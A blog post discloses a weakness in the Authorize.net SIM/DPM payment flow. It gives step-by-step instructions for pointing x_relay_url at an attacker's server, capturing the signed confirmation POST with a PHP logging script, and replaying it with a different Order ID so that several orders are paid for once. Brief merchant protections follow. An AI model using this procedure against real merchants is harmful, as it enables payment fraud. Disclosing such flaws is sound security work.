Payment verification breach in Authorize.net SIM/DPM process

While there are some bugs in Authorize.net plugins for Drupal Commerce and Wordpress WooCommerce, Authorize.net SIM/DPM does not provide sufficient security protection. In this post I am going to show the weakest point of Authorize.net SIM/DPM process. You can easily complete multiple orders, but pay off only a single one. This is however true if you make multiple orders on a same amount. Note: in this blog post I am using Drupal Commerce to test this vulnerability, though it would work on any CMS.

To understand this post, you need to understand how the Authorize.net SIM/DPM works. After a payment was made the Authnet sends a confirmation POST request to a merchant website, which tells whether a payment was successful.

Merchant website needs to verify this request and ensure it was really made by the Authorize.net. Some of the fields of the reply are signed by the MD5 Hash, which is known by the both Authorize.net and a merchant website. The request verification code looks as follows.

If order is verified and was successful, user is redirected to a confirmation page. However, there are several week points in this chain, that allows to cheat a merchant website.

Authorize.net does not sign neither an Order ID nor a Payment Status

As we can see from the previous image, next fields are only singed:

  1. Login ID
  2. Transaction ID
  3. Amount

If we could intercept a reply, we would be able to modify some values in it, as Order ID. Moreover we could duplicate a request to pay off yet another order.

Authorize.net allows to view and modify data on the payment form

You can modify most of the fields that are stored in the hidden form, including Order ID, x_relay_url, custom fields passed by a merchant, etc. What we really need to change is x_relay_url, which is used as Callback URL. Buy modifying it we can intercept confirmation request. And it is very important to know.

Authorize.net does not protect from request duplication

This is possible due to combination of security vulnerabilities. Using following plan an attacker can once pay off multiple orders on a same amount.

  1. Make regular order and proceed to the checkout page
  2. Modify x_relay_url to router a confirmation request to your own server
  3. Intercept and log a confirmation request
  4. Create another order, but do not pay for it
  5. Get an Order ID of the new order
  6. Modify a confirmation reply to use new Order ID
  7. POST modified reply to a merchant website

How to intercept a confirmation request?

In our case we need to intercept a confirmation request that goes from the Authorize.net to a merchant website. Fortunately Authorize.net allows to modify some values in the checkout form and thus we can intercept a request. There is a x_relay_url field on the checkout form used as Callback URL. By modifying it's value we can make the Authnet send a confirmation request to a different site. Having a simple logging script like one that follows, we can easily log a POST request.

<?php

date_default_timezone_set('America/New_York');

$file     = 'requests.log';
$date     = date('Y-m-d H:i:s O');

$content  = "Request recieved from ${_SERVER['REMOTE_ADDR']} on $date:\n";
$content .= "Contents of \$_GET array:\n";
$content .= print_r($_GET, true);
$content .= "Contents of \$_POST array:\n";
$content .= print_r($_POST, true);
$content .= "\n";

file_put_contents($file, $content, FILE_APPEND | LOCK_EX);

echo 'Request has been logged!';

And here are fields that are logged.

[x_response_code] => 1
[x_response_reason_code] => 1
[x_response_reason_text] => This transaction has been approved.
[x_avs_code] => Y
[x_auth_code] => ABCDE1
[x_trans_id] => **********
[x_method] => CC
[x_card_type] => Visa
[x_account_number] => XXXX1111
[x_first_name] => Test
[x_last_name] => 
[x_company] => 
[x_address] => test
[x_city] => test
[x_state] => WY
[x_zip] => 10000
[x_country] => US
[x_phone] => 
[x_fax] => 
[x_email] => ********@******.***
[x_invoice_num] => 105
[x_description] => 1x ABC-DEF-GH
[x_type] => auth_capture
[x_cust_id] => 1
[x_ship_to_first_name] => Test
[x_ship_to_last_name] => 
[x_ship_to_company] => 
[x_ship_to_address] => test
[x_ship_to_city] => test
[x_ship_to_state] => NY
[x_ship_to_zip] => 10001
[x_ship_to_country] => US
[x_amount] => 25.00
[x_tax] => 0.00
[x_duty] => 0.00
[x_freight] => 0.00
[x_tax_exempt] => FALSE
[x_po_num] => 
[x_MD5_Hash] => 32D1386C8B1224BEC1CHD2DE985C4BA4
[x_cvv2_resp_code] => 
[x_cavv_response] => 2
[x_test_request] => false
[order_id] => 105
[payment_id] => authnet_simdpm|commerce_payment_authnet_simdpm
[currency_code] => USD
[op] => Submit Order
[form_build_id] => form-8UiylY-jaRUA0Bl8Kz1FuXRiTFbsfW_pptxbw_JKH8X
[form_token] => X-P90_27kUIxSq2npGIWF0r18e0pXDXsRa8wsvhH1g
[form_id] => commerce_checkout_form_payment

How to send a fake request?

Now it is a time to learn how to send a fake request to a merchant website. To generate a POST request I use Postman - REST Client, which is very nice Chrome extension.

How to protect a merchant website?

That is a really good question, I recommend to do following:

  1. Log all confirmation requests.
  2. Make sure Transaction ID is unique for each order.
  3. Check payment info logged by site matches payment info logged by the Authorise.net.

P.S.

You should only remember that a merchant website and Authorize.net could log your IP address, thus never try to do this on the production environment. The aim of this post is to make web better and more secure. So please, protect yourself and eliminate backdoors. I already submitted a security issues to Authorize.net before, however they never replied. And this is why you are reading about this vulnerability.

Similar Entries